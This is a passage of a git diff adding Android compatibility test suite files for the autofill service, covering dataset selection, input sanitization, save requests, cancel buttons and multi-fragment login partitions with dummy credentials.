+                    .setField(ID_USERNAME, username)
+                    .setField(ID_PASSWORD, password)
+                    .setPresentation(createPresentation("The Dude"))
+                    .build());
+            mActivity.expectAutoFill(username, password);
+            try {
+                // Trigger auto-fill.
+                requestFocusOnUsername();
+
+                waitUntilConnected();
+                sReplier.getNextFillRequest();
+
+                // Auto-fill it.
+                mUiBot.selectDataset("The Dude");
+
+                // Check the results.
+                mActivity.assertAutoFilled();
+
+                // Change focus to prepare for next step - must do it before session is gone
+                requestFocusOnPassword();
+
+                // Rinse and repeat...
+                mActivity.tapClear();
+
+                waitUntilDisconnected();
+            } catch (RetryableException e) {
+                throw e;
+            } catch (Throwable t) {
+                throw new Throwable("Error on step " + i, t);
+            }
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testClickCustomButton() throws Exception {
+        // Set service.
+        enableService();
+
+        Intent intent = new Intent(mContext, EmptyActivity.class);
+        IntentSender sender = PendingIntent.getActivity(mContext, 0, intent,
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_CANCEL_CURRENT
+                        | PendingIntent.FLAG_IMMUTABLE).getIntentSender();
+
+        RemoteViews presentation = new RemoteViews(mPackageName, R.layout.list_item);
+        presentation.setTextViewText(R.id.text1, "Poke");
+        Intent firstIntent = new Intent(mContext, DummyActivity.class);
+        presentation.setOnClickPendingIntent(R.id.text1, PendingIntent.getActivity(
+                mContext, 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
+                        | PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE));
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(sender, ID_USERNAME)
+                .setPresentation(presentation)
+                .build());
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Click on the custom button
+        mUiBot.selectByText("Poke");
+
+        // Make sure the click worked
+        mUiBot.selectByText("foo");
+
+        // Go back to the filled app.
+        mUiBot.pressBack();
+    }
+
+    @Presubmit
+    @Test
+    public void testIsServiceEnabled() throws Exception {
+        disableService();
+        final AutofillManager afm = mActivity.getAutofillManager();
+        assertThat(afm.hasEnabledAutofillServices()).isFalse();
+        try {
+            enableService();
+            assertThat(afm.hasEnabledAutofillServices()).isTrue();
+        } finally {
+            disableService();
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testGetAutofillServiceComponentName() throws Exception {
+        final AutofillManager afm = mActivity.getAutofillManager();
+
+        enableService();
+        final ComponentName componentName = afm.getAutofillServiceComponentName();
+        assertThat(componentName.getPackageName()).isEqualTo(SERVICE_PACKAGE);
+        assertThat(componentName.getClassName()).endsWith(SERVICE_CLASS);
+
+        disableService();
+        assertThat(afm.getAutofillServiceComponentName()).isNull();
+    }
+
+    @Presubmit
+    @Test
+    public void testSetupComplete() throws Exception {
+        enableService();
+
+        // Validation check.
+        final AutofillManager afm = mActivity.getAutofillManager();
+        Helper.assertAutofillEnabled(afm, true);
+
+        // Now disable user_complete and try again.
+        try {
+            setUserComplete(mContext, false);
+            Helper.assertAutofillEnabled(afm, false);
+        } finally {
+            setUserComplete(mContext, true);
+        }
+    }
+
+    @Presubmit
+    @Test
+    public void testPopupGoesAwayWhenServiceIsChanged() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Now disable service by setting another service
+        Helper.enableAutofillService(mContext, NoOpAutofillService.SERVICE_NAME);
+
+        // ...and make sure popup's gone
+        mUiBot.assertNoDatasets();
+    }
+
+    // TODO(b/70682223): add a new test to make sure service with BIND_AUTOFILL permission works
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testServiceIsDisabledWhenNewServiceInfoIsInvalid() throws Exception {
+        serviceIsDisabledWhenNewServiceIsInvalid(BadAutofillService.SERVICE_NAME);
+    }
+
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testServiceIsDisabledWhenNewServiceNameIsInvalid() throws Exception {
+        serviceIsDisabledWhenNewServiceIsInvalid("Y_U_NO_VALID");
+    }
+
+    private void serviceIsDisabledWhenNewServiceIsInvalid(String serviceName) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Now disable service by setting another service...
+        Helper.enableAutofillService(mContext, serviceName);
+
+        // ...and make sure popup's gone
+        mUiBot.assertNoDatasets();
+
+        // Then try to trigger autofill again...
+        mActivity.onPassword(View::requestFocus);
+        //...it should not work!
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    public void testAutofillMovesCursorToTheEnd() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // NOTE: need to call getSelectionEnd() inside the UI thread, otherwise it returns 0
+        final AtomicInteger atomicBombToKillASmallInsect = new AtomicInteger();
+
+        mActivity.onUsername((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
+        assertWithMessage("Wrong position on username").that(atomicBombToKillASmallInsect.get())
+                .isEqualTo(4);
+
+        mActivity.onPassword((v) -> atomicBombToKillASmallInsect.set(v.getSelectionEnd()));
+        assertWithMessage("Wrong position on password").that(atomicBombToKillASmallInsect.get())
+                .isEqualTo(5);
+    }
+
+    @Test
+    public void testAutofillLargeNumberOfDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        final StringBuilder bigStringBuilder = new StringBuilder();
+        for (int i = 0; i < 10_000; i++) {
+            bigStringBuilder.append("BigAmI");
+        }
+        final String bigString = bigStringBuilder.toString();
+
+        final int size = 100;
+        Log.d(TAG, "testAutofillLargeNumberOfDatasets(): " + size + " datasets with "
+                + bigString.length() + "-bytes id");
+
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder();
+        for (int i = 0; i < size; i++) {
+            final String suffix = "-" + (i + 1);
+            response.addDataset(new CannedDataset.Builder()
+                    .setField(ID_USERNAME, "user" + suffix)
+                    .setField(ID_PASSWORD, "pass" + suffix)
+                    .setId(bigString)
+                    .setPresentation(createPresentation("DS" + suffix))
+                    .build());
+        }
+
+        // Set expectations.
+        sReplier.addResponse(response.build());
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are shown.
+        // TODO: improve assertDatasets() so it supports scrolling, and assert all of them are
+        // shown. In fullscreen there are 4 items, otherwise there are 3 items.
+        mUiBot.assertDatasetsContains("DS-1", "DS-2", "DS-3");
+
+        // TODO: once it supports scrolling, selects the last dataset and asserts it's filled.
+    }
+
+    @Presubmit
+    @Test
+    public void testCancellationSignalCalledAfterTimeout() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final OneTimeCancellationSignalListener listener =
+                new OneTimeCancellationSignalListener(Timeouts.FILL_TIMEOUT.ms() + 2000);
+        sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Attach listener to CancellationSignal.
+        waitUntilConnected();
+        sReplier.getNextFillRequest().cancellationSignal.setOnCancelListener(listener);
+
+        // Assert results
+        listener.assertOnCancelCalled();
+    }
+
+    @Test
+    @AppModeFull(reason = "Unit test")
+    public void testNewTextAttributes() throws Exception {
+        enableService();
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.onUsername(View::requestFocus);
+
+        final FillRequest request = sReplier.getNextFillRequest();
+        final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
+        assertThat(username.getMinTextEms()).isEqualTo(2);
+        assertThat(username.getMaxTextEms()).isEqualTo(5);
+        assertThat(username.getMaxTextLength()).isEqualTo(25);
+
+        final ViewNode container = findNodeByResourceId(request.structure, ID_USERNAME_CONTAINER);
+        assertThat(container.getMinTextEms()).isEqualTo(-1);
+        assertThat(container.getMaxTextEms()).isEqualTo(-1);
+        assertThat(container.getMaxTextLength()).isEqualTo(-1);
+
+        final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
+        assertThat(password.getMinTextEms()).isEqualTo(-1);
+        assertThat(password.getMaxTextEms()).isEqualTo(-1);
+        assertThat(password.getMaxTextLength()).isEqualTo(5000);
+    }
+
+    @Test
+    public void testUiShowOnChangeAfterAutofill() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude", createPresentation("dude"))
+                .setField(ID_PASSWORD, "sweet", createPresentation("sweet"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("dude");
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        mUiBot.assertNoDatasets();
+
+        // Delete a character.
+        sendKeyEvent("KEYCODE_DEL");
+        assertThat(mUiBot.getTextByRelativeId(ID_USERNAME)).isEqualTo("dud");
+
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Check autofill UI show.
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dude");
+
+        // Autofill again.
+        mUiBot.selectDataset(datasetPicker, "dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    public void testUiShowOnChangeAfterAutofillOnePresentation() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        requestFocusOnUsername();
+        mUiBot.assertDatasets("The Dude");
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        mUiBot.assertNoDatasets();
+
+        // Delete username
+        mUiBot.setTextByRelativeId(ID_USERNAME, "");
+
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Check autofill UI show.
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("The Dude");
+
+        // Autofill again.
+        mUiBot.selectDataset(datasetPicker, "The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+        mUiBot.assertNoDatasets();
+    }
+
+    @Presubmit
+    @Test
+    public void testCancelActionButton() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentationWithCancel("The Dude"))
+                        .build())
+                .setPresentationCancelIds(new int[]{R.id.cancel_fill});
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasetsContains("The Dude");
+
+        // Tap cancel button on fill UI
+        mUiBot.selectByRelativeId(ID_CANCEL_FILL);
+        mUiBot.waitForIdle();
+
+        mUiBot.assertNoDatasets();
+
+        // Test and verify auto-fill does not trigger
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.waitForIdle();
+
+        mUiBot.assertNoDatasetsEver();
+
+        // Test and verify auto-fill does not trigger.
+        mActivity.onUsername(View::requestFocus);
+        mUiBot.waitForIdle();
+
+        mUiBot.assertNoDatasetsEver();
+
+        // Reset
+        mActivity.tapClear();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentationWithCancel("The Dude"))
+                        .build())
+                .setPresentationCancelIds(new int[]{R.id.cancel});
+        sReplier.addResponse(builder2.build());
+
+        // Trigger auto-fill.
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Verify auto-fill has been triggered.
+        mUiBot.assertDatasetsContains("The Dude");
+    }
+
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "WRITE_SECURE_SETTING permission can't be grant to instant apps")
+    public void testSwitchInputMethod_noNewFillRequest() throws Exception {
+        // Set service
+        enableService();
+
+        // Set expectations
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasetsContains("The Dude");
+
+        // Trigger IME switch event
+        Helper.mockSwitchInputMethod(sContext);
+        mUiBot.waitForIdleSync();
+
+        // Tap password field
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertDatasetsContains("The Dude");
+
+        // No new fill request
+        sReplier.assertNoUnhandledFillRequests();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginWithStringsActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginWithStringsActivityTest.java
new file mode 100644
index 0000000..f4f532b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginWithStringsActivityTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.LoginActivity.AUTHENTICATION_MESSAGE;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertHintFromResources;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextFromResources;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilConnected;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.LoginWithStringsActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.view.View;
+
+import org.junit.Test;
+
+@AppModeFull(reason = "LoginActivityTest is enough")
+public class LoginWithStringsActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<LoginWithStringsActivity> {
+
+    private LoginWithStringsActivity mActivity;
+
+
+    @Override
+    protected AutofillActivityTestRule<LoginWithStringsActivity> getActivityRule() {
+        return new AutofillActivityTestRule<LoginWithStringsActivity>(
+                LoginWithStringsActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testAutoFillOneDatasetAndSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4815162342");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setId("I'm the alpha and the omega")
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(extras)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Make sure input was sanitized.
+        assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
+        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+
+        // Make sure labels were not sanitized
+        assertTextFromResources(fillRequest.structure, ID_USERNAME_LABEL, "Username", false,
+                "username_string");
+        assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "Password", false,
+                "password_string");
+
+        // Check text hints
+        assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
+                "username_hint");
+        assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
+                "password_hint");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Try to login, it will fail.
+        final String loginMessage = mActivity.tapLogin();
+
+        assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(AUTHENTICATION_MESSAGE);
+
+        // Set right password...
+        mActivity.onPassword((v) -> v.setText("dude"));
+
+        // ... and try again
+        final String expectedMessage = getWelcomeMessage("dude");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, "dude");
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(password, "dude");
+
+        // Make sure labels were not sanitized
+        assertTextFromResources(saveRequest.structure, ID_USERNAME_LABEL, "Username", false,
+                "username_string");
+        assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "Password", false,
+                "password_string");
+
+        // Check text hints
+        assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
+                "username_hint");
+        assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
+                "password_hint");
+
+        // Make sure extras were passed back on onSave()
+        assertThat(saveRequest.data).isNotNull();
+        final String extraValue = saveRequest.data.getString("numbers");
+        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/MultipleFragmentLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/MultipleFragmentLoginTest.java
new file mode 100644
index 0000000..b5e5ec8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/MultipleFragmentLoginTest.java
@@ -0,0 +1,248 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.FragmentContainerActivity.FRAGMENT_TAG;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.FragmentContainerActivity;
+import android.autofillservice.cts.activities.FragmentWithMoreEditTexts;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillValue;
+import android.widget.EditText;
+
+import org.junit.Test;
+
+public class MultipleFragmentLoginTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<FragmentContainerActivity> {
+
+    private static final String LOG_TAG = "MultipleFragmentLoginTest";
+
+    private FragmentContainerActivity mActivity;
+    private EditText mEditText1;
+    private EditText mEditText2;
+
+    @Override
+    protected AutofillActivityTestRule<FragmentContainerActivity> getActivityRule() {
+        return new AutofillActivityTestRule<FragmentContainerActivity>(
+                FragmentContainerActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+                mEditText1 = mActivity.findViewById(R.id.editText1);
+                mEditText2 = mActivity.findViewById(R.id.editText2);
+            }
+        };
+    }
+
+    @Test
+    public void loginOnTwoFragments() throws Exception {
+        enableService();
+
+        Bundle clientState = new Bundle();
+        clientState.putString("key", "value1");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField("editText1", "editText1-autofilled")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .setExtras(clientState)
+                .build());
+
+        // Trigger autofill on editText2
+        mActivity.syncRunOnUiThread(() -> mEditText2.requestFocus());
+
+        final InstrumentedAutoFillService.FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.data).isNull();
+
+        mUiBot.assertNoDatasetsEver(); // UI is only shown on editText1
+
+        mActivity.setRootContainerFocusable(false);
+
+        final AssistStructure structure = fillRequest1.contexts.get(0).getStructure();
+        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
+        assertThat(findNodeByResourceId(structure, "editText1")).isNotNull();
+        assertThat(findNodeByResourceId(structure, "editText2")).isNotNull();
+        assertThat(findNodeByResourceId(structure, "editText3")).isNull();
+        assertThat(findNodeByResourceId(structure, "editText4")).isNull();
+        assertThat(findNodeByResourceId(structure, "editText5")).isNull();
+
+        // Wait until autofill has been applied
+        mActivity.syncRunOnUiThread(() -> mEditText1.requestFocus());
+        mUiBot.selectDataset("dataset1");
+        mUiBot.assertShownByText("editText1-autofilled");
+
+        // Manually fill view
+        mActivity.syncRunOnUiThread(() -> mEditText2.setText("editText2-manually-filled"));
+
+        // Replacing the fragment focused a previously unknown view which triggers a new
+        // partition
+        clientState.putString("key", "value2");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField("editText3", "editText3-autofilled")
+                        .setField("editText4", "editText4-autofilled")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2", "editText5")
+                .setExtras(clientState)
+                .build());
+
+        Log.i(LOG_TAG, "Switching Fragments");
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getFragmentManager().beginTransaction().replace(
+                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
+                        FRAGMENT_TAG).commitNow());
+        EditText editText5 = mActivity.findViewById(R.id.editText5);
+        final InstrumentedAutoFillService.FillRequest fillRequest2 = sReplier.getNextFillRequest();
+
+        // The fillRequest should have a fillContext for each partition. The first partition
+        // should be filled in
+        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
+
+        assertThat(fillRequest2.data.getString("key")).isEqualTo("value1");
+
+        final AssistStructure structure1 = fillRequest2.contexts.get(0).getStructure();
+        ViewNode editText1Node = findNodeByResourceId(structure1, "editText1");
+        // The actual value in the structure is not updated in FillRequest-contexts, but the
+        // autofill value is. For text views in SaveRequest both are updated, but this is the
+        // only exception.
+        assertThat(editText1Node.getAutofillValue()).isEqualTo(
+                AutofillValue.forText("editText1-autofilled"));
+
+        ViewNode editText2Node = findNodeByResourceId(structure1, "editText2");
+        // Manually filled fields are not send to onFill. They appear in onSave if they are set
+        // as saveable fields.
+        assertThat(editText2Node.getText().toString()).isEqualTo("");
+
+        assertThat(findNodeByResourceId(structure1, "editText3")).isNull();
+        assertThat(findNodeByResourceId(structure1, "editText4")).isNull();
+        assertThat(findNodeByResourceId(structure1, "editText5")).isNull();
+
+        final AssistStructure structure2 = fillRequest2.contexts.get(1).getStructure();
+
+        assertThat(findNodeByResourceId(structure2, "editText1")).isNull();
+        assertThat(findNodeByResourceId(structure2, "editText2")).isNull();
+        assertThat(findNodeByResourceId(structure2, "editText3")).isNotNull();
+        assertThat(findNodeByResourceId(structure2, "editText4")).isNotNull();
+        assertThat(findNodeByResourceId(structure2, "editText5")).isNotNull();
+
+        // Wait until autofill has been applied
+        mUiBot.selectDataset("dataset2");
+        mUiBot.assertShownByText("editText3-autofilled");
+        mUiBot.assertShownByText("editText4-autofilled");
+
+        // Manually fill view
+        mActivity.syncRunOnUiThread(() -> editText5.setText("editText5-manually-filled"));
+
+        // Finish activity and save data
+        mActivity.finish();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // The saveRequest should have a fillContext for each partition with all the data
+        final InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        assertThat(saveRequest.data.getString("key")).isEqualTo("value2");
+
+        final AssistStructure saveStructure1 = saveRequest.contexts.get(0).getStructure();
+        editText1Node = findNodeByResourceId(saveStructure1, "editText1");
+        assertThat(editText1Node.getText().toString()).isEqualTo("editText1-autofilled");
+
+        editText2Node = findNodeByResourceId(saveStructure1, "editText2");
+        assertThat(editText2Node.getText().toString()).isEqualTo("editText2-manually-filled");
+
+        assertThat(findNodeByResourceId(saveStructure1, "editText3")).isNull();
+        assertThat(findNodeByResourceId(saveStructure1, "editText4")).isNull();
+        assertThat(findNodeByResourceId(saveStructure1, "editText5")).isNull();
+
+        final AssistStructure saveStructure2 = saveRequest.contexts.get(1).getStructure();
+        assertThat(findNodeByResourceId(saveStructure2, "editText1")).isNull();
+        assertThat(findNodeByResourceId(saveStructure2, "editText2")).isNull();
+
+        ViewNode editText3Node = findNodeByResourceId(saveStructure2, "editText3");
+        assertThat(editText3Node.getText().toString()).isEqualTo("editText3-autofilled");
+
+        ViewNode editText4Node = findNodeByResourceId(saveStructure2, "editText4");
+        assertThat(editText4Node.getText().toString()).isEqualTo("editText4-autofilled");
+
+        ViewNode editText5Node = findNodeByResourceId(saveStructure2, "editText5");
+        assertThat(editText5Node.getText().toString()).isEqualTo("editText5-manually-filled");
+    }
+
+    @Test
+    public void uiDismissedWhenNonSavableFragmentIsGone() throws Exception {
+        uiDismissedWhenFragmentIsGoneText(false);
+    }
+
+    @Test
+    public void uiDismissedWhenSavableFragmentIsGone() throws Exception {
+        uiDismissedWhenFragmentIsGoneText(true);
+    }
+
+    private void uiDismissedWhenFragmentIsGoneText(boolean savable) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField("editText1", "whatever")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build());
+        if (savable) {
+            response.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2");
+        }
+
+        sReplier.addResponse(response.build());
+
+        // Trigger autofill on editText2
+        mActivity.syncRunOnUiThread(() -> mEditText2.requestFocus());
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver(); // UI is only shown on editText1
+
+        mActivity.setRootContainerFocusable(false);
+
+        // Check UI is shown, but don't select it.
